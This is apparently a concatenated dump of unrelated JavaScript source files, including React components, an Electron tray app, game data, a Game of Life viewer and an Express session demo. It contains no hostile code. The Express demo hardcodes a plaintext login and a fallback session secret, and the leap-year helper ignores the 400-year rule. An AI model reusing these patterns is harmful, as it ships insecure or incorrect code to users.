balance = web3.utils.fromWei(balance, 'ether')
assert.equal(balance, 1000, "The owner should have 1k tokens")
})
}) |
import React, {Fragment} from 'react';
import Menu from './components/Menu';
import AppRouter from './routers/AppRouter';
const App = () => {
return (
<Fragment>
<Menu/>
<AppRouter/>
</Fragment>
);
};
export default App; |
function findYear(firstDate, secondDate) {
res = [];
while (firstDate <= secondDate) {
if (firstDate % 4 == 0 && firstDate % 100 != 0) res.push(firstDate);
firstDate++;
}
return res;
}
console.log(findYear(1990, 2018)); // [1992, 1996, 2004, 2008, 2012, 2016]
|
import { app, BrowserWindow, nativeImage, Tray, Menu, ipcMain } from 'electron';
import {
trayIconBase64Code,
transparentTrayIconBase64Code
} from './config/tray';
import './service';
// hold window instance
let win = null;
// hold tray instance
let appTray = null;
const createTray = () => {
const trayMenuTemplate = [
{
label: '退出软件',
click: function() {
if (win) {
win.close();
}
}
}
];
const trayIcon = nativeImage.createFromDataURL(trayIconBase64Code);
const transparentTrayIcon = nativeImage.createFromDataURL(
transparentTrayIconBase64Code
);
const trayMenu = Menu.buildFromTemplate(trayMenuTemplate);
let count = 0;
let timer = null;
appTray = new Tray(trayIcon);
ipcMain.on('new-message', function() {
//系统托盘图标闪烁
if (!timer) {
timer = setInterval(function() {
count++;
if (count % 2 === 0) {
appTray.setImage(trayIcon);
} else {
appTray.setImage(transparentTrayIcon);
}
}, 600);
}
});
ipcMain.on('has-read-new-message', function() {
if (timer) {
clearInterval(timer);
appTray.setImage(trayIcon);
timer = null;
}
});
appTray.setToolTip('Hola');
if (process.platform === 'win32') {
appTray.setContextMenu(trayMenu);
}
appTray.on('click', () => {
if (timer) {
clearInterval(timer);
appTray.setImage(trayIcon);
}
if (win.isMinimized()) {
win.restore();
} else {
win.setSkipTaskbar(false);
win.show();
}
});
};
const createWindow = () => {
const devServer = 'http://localhost:9080';
const winURL =
process.env.NODE_ENV === 'development'
? devServer
: `file://${__dirname}/index.html`;
const config = {
width: 280,
height: 400,
show: false,
frame: process.platform === 'darwin' ? true : false,
useContentSize: true,
resizable: false,
maximizable: false,
fullscreen: false,
titleBarStyle: 'hiddenInset',
webPreferences: {
devTools: true
}
};
win = new BrowserWindow(config);
win.once('ready-to-show', () => {
// win.setMenu(null);
win.show();
});
win.on('closed', () => {
win = null;
appTray = null;
});
win.on('focus', () => {
win.flashFrame(false);
});
// disable page zoom
win.webContents.on('did-finish-load', function() {
this.setZoomFactor(1);
this.setVisualZoomLevelLimits(1, 1);
this.setLayoutZoomLevelLimits(0, 0);
});
win.loadURL(winURL);
// https://www.electron.build/configuration/configuration#configuration-asarUnpack
// asar 排除掉node_modules目录,否则Windows系统会报错
// 引入未打包到app.asar里的node_modules路径
win.webContents.executeJavaScript(`
var path = require('path');
module.paths.push(path.resolve(__dirname, '..', '..', '..', 'app.asar.unpacked', 'node_modules'));
path = undefined;
`);
};
ipcMain.on('relaunch-app', () => {
app.relaunch();
app.quit();
});
const shouldQuit = app.makeSingleInstance(() => {
if (win) {
if (win.isMinimized()) {
win.restore();
} else {
win.setSkipTaskbar(false);
win.show();
}
win.focus();
}
});
if (shouldQuit) {
app.quit();
}
app.on('ready', () => {
createWindow();
createTray();
});
app.on('open-file', e => {
e.preventDefault();
});
app.on('open-url', e => {
e.preventDefault();
});
app.on('activate', () => {
if (win === null) {
createWindow();
createTray();
}
});
app.on('window-all-closed', () => {
if (appTray) {
appTray.destroy();
}
if (process.platform !== 'darwin') {
app.quit();
}
});
|
'use strict'
var fs = require('fs')
var bail = require('bail')
var chalk = require('chalk')
var not = require('not')
var hidden = require('is-hidden')
var bundled = require('./bundled')
fs.readdir('lang', ondir)
function ondir(error, paths) {
bail(error)
paths = paths.filter(not(hidden)).filter(not(included)).map(load)
fs.writeFile(
'index.js',
[
"'use strict';",
'',
"var refractor = require('./core.js');",
'',
'module.exports = refractor;',
'',
paths.join('\n'),
''
].join('\n'),
done
)
function done(error) {
bail(error)
console.log(
chalk.green('✓') + ' wrote `index.js` for ' + paths.length + ' languages'
)
}
}
function load(lang) {
return "refractor.register(require('./lang/" + lang + "'));"
}
function included(fp) {
return bundled.indexOf(fp) !== -1
}
|
module.exports = {
"Supportive": {
name: "Supportive",
effect: "When user is the support unit, if the lead unit has a C Support or higher, the lead unit’s Hit Rate +10, damage +2 and damage received -2",
character: "Avatar"
},
"Forceful Partner": {
name: "Forceful Partner",
effect: "If the Avatar is the lead unit, Avatar’s Hit rate +15, damage +3",
character: "Gunter"
},
"Devoted Partner": {
name: "Devoted Partner",
effect: "If the Avatar is the lead unit, Avatar’s damage +2, damage received -2",
character: "Felicia"
},
"Evasive Partner": {
name: "Evasive Partner",
effect: "If the Avatar is the lead unit, Avatar’s Avoid +15, damage received -3",
character: "Jakob"
},
"Miraculous Save": {
name: "Miraculous Save",
effect: "When user is the support unit, the lead unit has a Luck% chance of surviving a fatal attack with 1 HP",
character: "Kaze"
},
"Healing Descant": {
name: "Healing Descant",
effect: "Allies within a 2 tile radius recover 10% HP at the start of the user’s Turn",
character: "Azura"
},
"Vow of Friendship": {
name: "Vow of Friendship",
effect: "If the Avatar is an ally, when the Avatar is under half HP, user’s damage +3 and damage received -3",
character: "Silas"
},
"Highwayman": {
name: "Highwayman",
effect: "When user triggers the battle, if the enemy cannot counter-attack, enemy’s Strength and Speed -3 after the battle (stats recover by 1 each Turn)",
character: "Shura"
},
"Peacebringer": {
name: "Peacebringer",
effect: "Allies and enemies within a 2 tile radius deal 2 less damage",
character: "Izana"
},
"Forager": {
name: "Forager",
effect: "When standing on Mountain, Woods, Waste or Field terrain, the user recovers 20% HP at the start of the Turn",
character: "Mozu"
},
"Fiery Blood": {
name: "Fiery Blood",
effect: "When user’s HP is not full, damage +4",
character: "Rinkah"
},
"Quiet Strength": {
name: "Quiet Strength",
effect: "Allies within a 2 tile radius receive 2 less damage",
character: "Sakura"
},
"Fearsome Blow": {
name: "Fearsome Blow",
effect: "When user triggers the battle and defeats an enemy, enemies adjacent to the user have their HP reduced by 20%",
character: "Hana"
},
"Perfectionist": {
name: "Perfectionist",
effect: "When user’s HP is at maximum, Hit rate and Avoid +15",
character: "Subaki"
},
"Pyrotechnics": {
name: "Pyrotechnics",
effect: "When user triggers the battle at under half HP, the user and enemies within a 2 tile radius have their HP reduced by 20%",
character: "Saizo"
},
"Capture": {
name: "Capture",
effect: "When there is a Prison in My Castle, the user can select the “Capture” command. If a generic enemy is defeated, they will be sent to the Prison",
character: "Orochi"
},
"Rallying Cry": {
name: "Rallying Cry",
effect: "Allies within a 2 tile radius deal 2 extra damage",
character: "Hinoka"
},
"Divine Retribution": {
name: "Divine Retribution",
effect: "When user doesn’t have a weapon equipped and they sustain damage from an adjacent enemy, the enemy receives half the same damage.",
character: "Azama"
},
"Optimist": {
name: "Optimist",
effect: "When user is healed by a staff, they recover 1.5 times the normal HP",
character: "Setsuna"
},
"Pride": {
name: "Pride",
effect: "When user’s Level is lower than the enemy’s (promoted units count as Level +20), damage +3",
character: "Hayato"
},
"Nohr Enmity": {
name: "Nohr Enmity",
effect: "When engaging a Nohr-related enemy, damage +3",
character: "Oboro"
},
"Triple Threat": {
name: "Triple Threat",
effect: "When user is under half HP, half the damage received by Swords, Lances or Axes is also dealt to the enemy",
character: "Hinata"
},
"Competitive": {
name: "Competitive",
effect: "When user is the lead unit and their Level is lower than their support unit’s Level, Critical rate +10, damage +3 and damage received -1",
character: "Takumi"
},
"Shuriken Mastery": {
name: "Shuriken Mastery",
effect: "When user receives damage from a Dagger attack, the enemy receives half the same damage and the Dagger’s stat reduction effect",
character: "Kagero"
},
"Morbid Celebration": {
name: "Morbid Celebration",
effect: "When user triggers the battle, recover 20% HP after defeating the enemy",
character: "Reina"
},
"Reciprocity": {
name: "Reciprocity",
effect: "When a unit uses a healing staff on the user, that unit has their HP recovered by half the same amount",
character: "Kaden"
},
"Bushido": {
name: "Bushido",
effect: "When user is the lead unit, if their Level is higher than their support unit’s Level, Critical rate +10, damage +2 and damage received -2",
character: "Ryoma"
},
"In Extremis": {
name: "In Extremis",
effect: "When user’s HP is under a quarter, Critical rate +30",
character: "Scarlet"
},
"Perspicacious": {
name: "Perspicacious",
effect: "Hit rate +5 for all allies",
character: "Yukimura"
},
"Draconic Heir": {
name: "Draconic Heir",
effect: "When user is equipped with a Dragonstone, they recover 15% HP at the start of their Turn",
character: "Kana"
},
"Born Steward": {
name: "Born Steward",
effect: "When fighting in My Castle, Hit rate and Avoid +20, damage +2 and damage received -2",
character: "Dwyer"
},
"Perfect Pitch": {
name: "Perfect Pitch",
effect: "Allies within a 2 tile radius who have lower HP than the user recover 10% HP when the “Rally” command is used",
character: "Shigure"
},
"Mischievous": {
name: "Mischievous",
effect: "When user triggers the battle and their attack connects with the enemy, enemy’s Defence -3 and enemy is stripped",
character: "Sophie"
},
"Lucky Charm": {
name: "Lucky Charm",
effect: "Skills with an activation rate dependent on the Luck stat have their rate increased by 20%",
character: "Midori"
},
"Noble Cause": {
name: "Noble Cause",
effect: "When user is the lead unit, if their support unit doesn’t have full HP, damage +3 and damage received +1",
character: "Shiro"
},
"Optimistic": {
name: "Optimistic",
effect: "After choosing to Wait, Speed +4 and Luck +8 for one Turn",
character: "Kiragi"
},
"Sweet Tooth": {
name: "Sweet Tooth",
effect: "After choosing to Wait, user recovers 4 HP by eating hidden treats",
character: "Asugi"
},
"Playthings": {
name: "Playthings",
effect: "After the start of the user’s Turn, all enemies that are adjacent to the user have their HP reduced by 5",
character: "Selkie"
},
"Calm": {
name: "Calm",
effect: "After choosing to Wait, Skill and Resistance +4 for one Turn",
character: "Hisame"
},
"Haiku": {
name: "Haiku",
effect: "At the start of the Turn, when two allies are directly above and below Mitama, Mitama recovers 7 HP, while the the two allies recover 5 HP",
character: "Mitama"
},
"Prodigy": {
name: "Prodigy",
effect: "At the start of the battle, if the enemy’s Strength or Magic (whichever is highest) is higher than Caeldori’s corresponding stat, damage +4",
character: "Caeldori"
},
"Vendetta": {
name: "Vendetta",
effect: "When user triggers the battle, if they’ve already fought the enemy in the same map, damage +4",
character: "Rhajat"
},
"Lily’s Poise": {
name: "Lily’s Poise",
effect: "Adjacent allies deal 1 extra damage and received 3 less damage",
character: "Elise"
},
"Misfortunate": {
name: "Misfortunate",
effect: "Enemies within a 2 tile radius have their Critical Evade reduced by 15, while the user’s Critical Evade is reduced by 5",
character: "Arthur"
},
"Puissance": {
name: "Puissance",
effect: "When user’s Strength is 5 or more points higher than the enemy’s Strength, damage +3 during battle",
character: "Effie"
},
"Aching Blood": {
name: "Aching Blood",
effect: "When equipped with a forged weapon whose name is at least 12 characters, Critical rate +10",
character: "Odin"
},
"Kidnap": {
name: "Kidnap",
effect: "When there is a Prison in My Castle, the user can select the “Capture” command. If a generic enemy is defeated, they will be sent to the Prison",
character: "Niles"
},
"Countercurse": {
name: "Countercurse",
effect: "When enemy triggers the battle and inflicts magical damage, the enemy receives half the same damage",
character: "Nyx"
},
"Rose’s Thorn": {
name: "Rose’s Thorn",
effect: "Adjacent allies deal 3 extra damage and receive 1 less damage",
character: "Camilla"
},
"Fierce Rival": {
name: "Fierce Rival",
effect: "When user is the support unit, if the lead unit triggers a critical hit, the user is guaranteed a critical hit (if their attack connects)",
character: "Selena"
},
"Opportunist": {
name: "Opportunist",
effect: "When user triggers the battle, if the enemy cannot counter-attack, damage +4",
character: "Beruka"
},
"Fancy Footwork": {
name: "Fancy Footwork",
effect: "Strength and Speed +1 to all allies within a 2 tile radius for one Turn when the “Rally” command is used",
character: "Laslow"
},
"Bloodthirst": {
name: "Bloodthirst",
effect: "When user triggers the battle and defeats the enemy, Strength, Magic, Skill and Speed +4 for one turn",
character: "Peri"
},
"Fierce Mien": {
name: "Fierce Mien",
effect: "Enemies within a 2 tile radius have their Avoid reduced by 10",
character: "Benny"
},
"Unmask": {
name: "Unmask",
effect: "When engaging a female enemy, Damage +4 and Critical rate +20",
character: "Charlotte"
},
"Pragmatic": {
name: "Pragmatic",
effect: "When enemy’s HP is not full, damage +3 and damage received -1 during the battle",
character: "Leo"
},
"Collector": {
name: "Collector",
effect: "Luck% chance of obtaining 3 Minerals or Foodstuffs after moving up to the 7th Turn",
character: "Keaton"
},
"Chivalry": {
name: "Chivalry",
effect: "When enemy’s HP is at maximum, damage +2 and damage received -2 during the battle",
character: "Xander"
},
"Icy Blood": {
name: "Icy Blood",
effect: "When user’s HP is not full and they sustain damage, the enemy receives the same damage and the enemy’s Skill and Speed is reduced by 3",
character: "Flora"
},
"Gallant": {
name: "Gallant",
effect: "When user is the support unit, if the lead unit is female, the lead unit’s damage +2",
character: "Siegbert"
},
"Fierce Counter": {
name: "Fierce Counter",
effect: "When a male enemy triggers the battle, damage +2",
character: "Forrest"
},
"Guarded Bravery": {
name: "Guarded Bravery",
effect: "When user is the lead unit, damage received -2. If no support unit available, damage received +2",
character: "Ignatius"
},
"Goody Basket": {
name: "Goody Basket",
effect: "At the start of the Turn, Luck% chance of recovering 10% HP",
character: "Velouria"
},
"Fortunate Son": {
name: "Fortunate Son",
effect: "Allies within a 2 tile radius have their Critical Evade increased by 15, while the user’s Critical Evade is increased by 5",
character: "Percy"
},
"Bibliophile": {
name: "Bibliophile",
effect: "When user is carrying 3 or more Tomes, Critical rate +10",
character: "Ophelia"
},
"Sisterhood": {
name: "Sisterhood",
effect: "When user is the lead unit, if their support unit is female, damage +2 and damage received -2",
character: "Soleil"
},
"Daydream": {
name: "Daydream",
effect: "When user is adjacent to two male units paired up, damage +2 and damage received -2",
character: "Nina"
},
"Wind Disciple": {
name: "Wind Disciple",
effect: "When user’s HP is not full, Hit rate and Avoid +10",
character: "Fuga"
},
"Make a Killing": {
name: "Make a Killing",
effect: "Luck% chance of obtaining Gold after defeating an enemy",
character: "Anna"
}
};
|
import React, { Component } from 'react';
import {
Collapse,
Navbar,
NavbarToggler,
Nav,
NavItem,
NavLink,
Container
} from 'reactstrap';
export default class TopMenu extends Component {
constructor(props) {
super(props);
this.toggle = this.toggle.bind(this);
this.state = {
isOpen: false
};
}
toggle() {
this.setState({
isOpen: !this.state.isOpen
});
}
render(){
return(
<Navbar className="bg-dark navbar-dark" dark expand="md">
<Container>
<NavbarToggler onClick={this.toggle} />
<Collapse className="text-center justify-content-center" isOpen={this.state.isOpen} navbar>
<Nav navbar>
<NavItem>
<NavLink href="/">BoulderBikeTour</NavLink>
</NavItem>
<NavItem>
<NavLink href='/Photos'>Photos</NavLink>
</NavItem>
<NavItem>
<NavLink href="/Location">Location</NavLink>
</NavItem>
<NavItem>
<NavLink href="/Riders">Riders</NavLink>
</NavItem>
<NavItem>
<NavLink href="/Contest">Contest</NavLink>
</NavItem>
</Nav>
</Collapse>
</Container>
</Navbar>
)
}
}
|
let day2 = prompt('Please enter the day: ');
switch (day2) {
case 'monday':
alert('There is single session');
break;
case 'tuesday':
alert('There is no live session');
break;
case 'wednesday':
alert('There is single session');
break;
case 'thursday':
alert('There is single session');
break;
case 'friday':
alert('There is no live session');
break;
case 'saturday':
alert('There is double session');
break;
case 'sunday':
alert('There is no live session');
break;
default:
alert('Unvalid entry.');
}
|
import React from 'react'
import './Cell.scss'
import { useGlobalState } from '../../store/useGlobalState'
import {
GAME_STATUS_IN_PROGRESS,
PLAYER_1,
checkTestMove
} from '../../services/game/game.service'
function Cell (props) {
const [state, dispatch] = useGlobalState()
const { row, col, data } = props
const { game, board } = state
const handleClick = () => {
if (
!data.selectedBy &&
!(game.currentPlayer === PLAYER_1 && game.ai) &&
game.status === GAME_STATUS_IN_PROGRESS
) {
dispatch({
type: 'SELECT_CELL',
row, col, player: game.currentPlayer,
warning: !game.ai && !checkTestMove(board, row, col, game.currentPlayer)
})
}
}
const getClassName = () => {
const className = ['cell']
if (game.winner && game.winner.cells.find( cell => cell.row === row && cell.col === col )) {
className.push('cell--winner')
}
return className.join(' ')
}
return (
<div className={getClassName()} onClick={handleClick}>
<span>{data.selectedBy}</span>
</div>
)
}
export default Cell
|
const fs = require("fs");
const [ file ] = process.argv.slice(2);
const boardFile = fs.readFileSync(process.cwd() + "/" + file, "utf-8").trimRight();
const readline = require("readline");
readline.emitKeypressEvents(process.stdin);
process.stdin.setRawMode(true);
const start = boardFile.split("\n").map(r => r.split(""));
const hash = (r, c) => `${r},${c}`;
const unHash = str => {
let [ r, c ] = str.split(",").map(Number);
return { r, c }
};
const sleep = ms => new Promise(res => setTimeout(res, ms));
let alive = new Set();
for(let r in start) {
for(let c in start[r]) {
if(start[r][c] == "#") alive.add(hash(r, c));
}
}
function nextIteration(grid) {
let iteration = new Set();
for(let cell of grid) {
for(let dr of [-1,0,1]) {
for(let dc of [-1,0,1]) {
let adj = unHash(cell);
adj.r += dr;
adj.c += dc;
let adjc = 0;
for(let dr2 of [-1,0,1]) {
for(let dc2 of [-1,0,1]) {
if(dr2 == 0 && dc2 == 0) continue;
if(grid.has(hash(adj.r + dr2, adj.c + dc2))) adjc++;
}
}
let h = hash(adj.r, adj.c);
if(adjc == 3 || (alive.has(h) && adjc == 2)) iteration.add(h);
}
}
}
return iteration;
}
let frames = 0;
let resetTime = 0;
setInterval(() => {
frames = 0;
resetTime = process.uptime();
}, 1000)
let config = {
row: 0,
col: 0,
size: 20,
fps: 10
}
function boardToString(grid, roff, coff, size) {
let str = `Target fps: ${config.fps} | Real fps: ${(frames / (process.uptime() - resetTime)).toFixed(1)} | Cells: ${alive.size}\n`
str += `Zoom: ${config.size}/50 | X: ${config.col} | Y: ${config.row}\n`;
str += "WASD or arrows to move | Q/E or N/M for zoom\n";
str += "I/O to change fps | C to close | R to restart\n";
str += "┌" + "─".repeat(size * 2) + "┐\n"
for(let r = roff; r < roff + size; r++) {
str += "│";
for(let c = coff; c < coff + (size * 2); c++) {
if(grid.has(hash(r,c))) str += "#"; else str += " ";
}
str += "│\n";
}
return str + "└" + "─".repeat(size * 2) + "┘";
}
process.stdin.on("keypress", (_str, key) => {
switch(key.name) {
case "up":
case "w":
config.row--;
break;
case "a":
case "left":
config.col--;
break;
case "down":
case "s":
config.row++;
break;
case "right":
case "d":
config.col++;
break;
case "n":
case "q":
if(config.size < 50) config.size++;
break;
case "m":
case "e":
if(config.size > 1) config.size--;
break;
case "i":
config.fps++;
break;
case "o":
if(config.fps > 1) config.fps--;
break;
case "r":
alive = new Set();
for(let r in start) {
for(let c in start[r]) {
if(start[r][c] == "#") alive.add(hash(r, c));
}
}
break;
case "c":
process.exit(0);
}
});
(async () => {
while(true) {
frames++;
console.clear();
console.log(boardToString(alive, config.row, config.col, config.size));
alive = nextIteration(alive);
await sleep(Math.ceil(1000 / config.fps));
}
})();
|
const express = require("express");
const session = require("express-session");
const port = process.env.PORT || 3000;
const secret = process.env.SECRET || "asdf234@#$sdf@#$fdsfsd";
const app = express();
const isAuth = (req, res, next) => {
const { username } = req.session;
if (username === "anat") return next();
res.sendStatus(403);
};
app.use(
session({
name: "sessionID",
secret: secret,
resave: false,
saveUninitialized: true,
cookie: {
httpOnly: true,
maxAge: 1000 * 60 * 120,
},
})
);
app.use(express.urlencoded({ extended: false }));
app
.route("/login")
.get((req, res) => {
res.send(`
<html>
<body>
<form method="POST" action="/login">
<input name="username" placeholder="username">
<input type="password" name="password" placeholder="pass">
<input type="submit">
</form>
</body>
</html>
`);
})
.post((req, res) => {
const { username, password } = req.body;
if (username === "yehuda" && password === "1234") {
req.session.username = "yehuda";
res.redirect("/account");
return;
}
res.sendStatus(401);
});
app.get("/account", isAuth, (req, res) => {
res.send(`Hello ${req.session.username}`);
});
app.get("/logout", isAuth, (req, res) => {
req.session.destroy();
res.redirect("/login");
});
app.listen(port, () => console.log(`Server running on port ${port}`));
|
import React, { Component } from 'react';
import { Link } from 'react-router-dom';
class Rooms extends Component {
displayRooms = (rooms) => {
let usersRooms = null
if (this.props.currentUser) {
usersRooms = this.props.currentUser.attributes.channels
}
return rooms.map( (room) => {
const { name } = room.attributes
return (
<div key={room.id}>
<h3>{name}</h3>
{ usersRooms && usersRooms.some( userRoom => userRoom.id === parseInt(room.id) ) ? (
<Link to={`/rooms/${room.id}`}><button>Enter</button></Link>
) : (
<Link to={`/rooms/${room.id}`}><button id={room.id} onClick={this.props.handleSubscribe}>Subscribe</button></Link>
) }
</div>
)
})
}
render() {
return (
<div>
<h1>Current Rooms</h1>
{this.displayRooms(this.props.allRooms)}
</div>
)
}
}
export default Rooms |
angular
.module('app.FooterCtrl', [])
.controller('FooterCtrl', FooterCtrl);
function FooterCtrl($scope, account, facebook) {
$scope.facebookLoadStatus = 'loading';
$scope.facebookAuthStatus = 'undefined';
$scope.playerName = 'undefined';
activate();
function activate() {
facebook.libStatus.promise.then(undefined, undefined, setFacebookLoadStatus);
facebook.authToken.promise.then(undefined, undefined, setFacebookAuthStatus);
account.userChange.promise.then(undefined, undefined, setAccountStatus);
}
function setFacebookLoadStatus(status) {
$scope.facebookLoadStatus = status;
}
function setFacebookAuthStatus(token) {
$scope.facebookAuthStatus = '[' + token.status +']';
}
function setAccountStatus(user) {
if(user) {
$scope.playerName = user.playerName;
}
else {
$scope.playerName = 'undefined';
}
}
}
|
// pages/message/message.js
var webim = require('../../utils/webim_wx.js');
var webimhandler = require('../../utils/webim_handler.js');
var config = require('../../config.js');
var zhiji_request = require('../../utils/zhiji_request.js');
var app=getApp();
Page({
/**
* 页面的初始数据
*/
data: {
isNoData: true,
noData: '',//无数据的图片
contactList: [],//会话列表
userInfo:null
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function (options) {
wx.showLoading();
this.setData({
userInfo: app.globalData.zjUser
});
var that = this;
var selToID = '';//会话列表不设置对方私聊账号
webimhandler.init({
accountMode: config.accountMode,
accountType: config.accountType,
sdkAppID: config.sdkappid,
selType: webim.SESSION_TYPE.C2C,
selToID: that.data.userInfo.userId,
selSess: null //当前聊天会话
});
if (webim.checkLogin()) {//检查是否登录返回true和false,不登录则重新登录
console.log('已登录')
zhiji_request.requestToken({
url: config.zhijiServerUrl + 'Chat',
method: 'GET',
header: {
'Authorization': 'bearer ' + app.globalData.zjUser.token
},
success: res => {
// this.setData({
// userInfo: res
// })
that.initRecentContactList();
}
});
//this.msgSend();
}
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
},
initRecentContactList: function () {
var that = this;
webim.getRecentContactList({//获取会话列表的方法
'Count': 10 //最近的会话数 ,最大为 100
}, function (resp) {
if (resp.SessionItem) {
if (resp.SessionItem.length == 0) {
that.setData({
isNoData: false,
})
wx.hideLoading()
} else if (resp.SessionItem.length > 0) {
that.setData({
contactList: resp.SessionItem,
isNoData: true
})
var userId = that.data.contactList.map((item, index) => {
return item.To_Account
})
webimhandler.getAvatar(userId, that.data.contactList, function (data) {
that.setData({
contactList: data
})
// wx.hideLoading();
//
})
// 初始化最近会话的消息未读数(监听新消息事件)
webim.syncMsgs(function (newMsgList){
var newMsg;
for (var j in newMsgList) {//遍历新消息
newMsg = newMsgList[j];
console.log('新消息:'+newMsg);//处理新消息
}
});
wx.hideLoading();
// webim.syncMsgs(that.initUnreadMsgCount())
} else {
wx.hideLoading()
return;
}
} else {
wx.hideLoading()
}
}, function (resp) {
//错误回调
});
},
// 初始化最近会话的消息未读数(这个方法用不到,多余,这是个坑,登录之后仍然返回空对象)
initUnreadMsgCount: function () {
var sess;
var sessMap = JSON.stringify(webim.MsgStore.sessMap());
for (var i in sessMap) {
console.log('循环对象')
sess = sessMap[i];
// if (selToID && selToID != sess.id()) { //更新其他聊天对象的未读消息数
console.log('sess.unread()', sess.unread())
// updateSessDiv(sess.type(), sess.id(), sess.name(), sess.unread());
// }
}
},
msgSend:function(){
var selType= webim.SESSION_TYPE.C2C
var selSess = new webim.Session(selType, '32314141324123314341234123413241', '32314141324123314341234123413241', '', Math.round(new Date().getTime() / 1000));
var isSend = true;//是否为自己发送
var seq = -1;//消息序列,-1表示sdk自动生成,用于去重
var random = Math.round(Math.random() * 4294967296);//消息随机数,用于去重
var msgTime = Math.round(new Date().getTime() / 1000);//消息时间戳
//群消息子类型如下:
//webim.GROUP_MSG_SUB_TYPE.COMMON-普通消息,
//webim.GROUP_MSG_SUB_TYPE.LOVEMSG-点赞消息,优先级最低
//webim.GROUP_MSG_SUB_TYPE.TIP-提示消息(不支持发送,用于区分群消息子类型),
//webim.GROUP_MSG_SUB_TYPE.REDPACKET-红包消息,优先级最高
var subType = webim.GROUP_MSG_SUB_TYPE.COMMON;
var msg = new webim.Msg(selSess, isSend, seq, random, msgTime, this.data.userInfo.userId, webim.C2C_MSG_SUB_TYPE);
var msgtosend = 'wwwww哈哈哈123';
var text_obj = new webim.Msg.Elem.Text(msgtosend);
msg.addText(text_obj);
webim.sendMsg(msg, function (resp) {
if (selType == webim.SESSION_TYPE.C2C) {//私聊时,在聊天窗口手动添加一条发的消息,群聊时,长轮询接口会返回自己发的消息
//showMsg(msg);
}
webim.Log.info("点赞成功");
}, function (err) {
webim.Log.error("发送点赞消息失败:" + err.ErrorInfo);
console.error("发送点赞消息失败:" + err.ErrorInfo);
});
}
}) |
/**
* Module dependencies.
*/
var express = require('express'),
Scraper = require('./models/TweetScraper');
var app = module.exports = express.createServer();
// Configuration
app.configure(function(){
app.set('views', __dirname + '/views');
app.set('view engine', 'jade');
app.use(express.bodyParser());
app.use(express.methodOverride());
app.use(app.router);
app.use(express.static(__dirname + '/public'));
});
app.configure('development', function(){
app.use(express.errorHandler({ dumpExceptions: true, showStack: true }));
});
app.configure('production', function(){
app.use(express.errorHandler());
});
// Routes
app.get('/', function(req, res){
var id = null;
if(req.param('id')==undefined){
id = 'gowthamk';
} else{
id = req.param('id');
}
console.log("ID is "+id);
var scraper = new Scraper(id);
var tweets = scraper.getTweets(function(tweets){
res.render('index', {
title: 'Twitter Stream of '+id,
tweets: tweets
});
});
});
// Only listen on $ node app.js
if (!module.parent) {
app.listen(3000);
console.log("Express server listening on port %d", app.address().port);
}
|
import React from 'react'
import axios from 'axios'
const path = 'https://ae5f60365157.ngrok.io'
export default class ReferFriend extends React.Component{
constructor(){
super();
this.state = {
myemail: '',
friendsEmail: '',
discount_code_uri: '',
couponCode: ''
}
}
changeEmail = (e) =>{
this.setState({
myemail: e.target.value
})
}
changeFriendEmail = (e) => {
this.setState({
friendsEmail : e.target.value
})
}
changeCoupon = (e) => {
this.setState({
couponCode: e.target.value
})
}
onRefer = () => {
const referFriend_uri = `${path}/referral`
const discount_uri = `${path}/discount-code/`+'hamayun-development-store'+"/"+this.state.couponCode
axios.get(discount_uri)
.then((res)=>{
console.log(res.data.discountObject.discount_code.code)
const data = {
refferal_email: this.state.myemail,
referee_email: this.state.friendsEmail,
couponCode: res.data.discountObject.discount_code.code
}
console.log(data)
axios.post(referFriend_uri, data)
.then((res)=>console.log("Data Inserted Successfully !!!",res))
.catch((e)=>console.log(e))
})
.catch(e=>console.log(e))
}
render(){
return(
<div className="main-div">
<div>
<h2>Refer Friend to get Discount Coupon</h2>
</div>
<div className="sub-main">
<input placeholder="Enter your email"
onChange={(e)=>this.changeEmail(e)}
/>
<input placeholder="Enter the friend's email to refer the shop"
onChange={(e)=>this.changeFriendEmail(e)}
/>
<input placeholder="Enter Coupon code"
onChange={(e)=>this.changeCoupon(e)}
/>
<button onClick = {(e)=>this.onRefer(e)}>Refer Now</button>
</div>
<style jsx>{`
.main-div {
width: 60%;
margin: 0px auto;
margin-top: 100px;
}
.main-div h2 {
margin-left: 10px;
}
.sub-main{
display: flex;
flex-direction: column;
}
.sub-main input {
width: 270px;
height: 41px;
margin: 10px;
border-radius: 7px;
border: 1px solid lightgray;
padding-left: 25px;
}
.sub-main button {
width: 298px;
height: 40px;
margin: 10px;
background-color: bisque;
border: 1px solid bisque;
border-radius: 7px;
}
`}</style>
</div>
)
}
}
|
define(function (require) {
'use strict';
var ViewsMixin = {
_defaultRole: 'root',
// Installer
mixinViews: function () {
this._views = {};
this.options.defaultViewOptions = {};
this.parentView = this.options.parentView || undefined;
},
// Views
addView: function (view, role) {
role = role || this._defaultRole;
this._views[role] && this.removeView(role);
this._views[role] = view;
return view;
},
getView: function (role) {
return this._views[role || this._defaultRole];
},
getViews: function (roles) {
// Return requested or all views
if (roles) {
return this._views.map(function (role) {
return roles.indexOf(role) ? this : undefined;
});
} else {
return this._views;
}
},
removeView: function (role) {
role = role || this._defaultRole;
var v = this._views[role];
if (!v) { return; }
v.remove();
v.destroy();
this._views[role] = undefined;
},
removeAllViews: function () {
for (var role in this._views) {
this.removeView(role);
}
},
renderView: function (role) {
role = role || this._defaultRole;
this._views[role].render();
return this._views[role];
},
renderViews: function () {
for (var role in this._views) {
this._views[role].render();
}
}
};
return ViewsMixin;
});
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.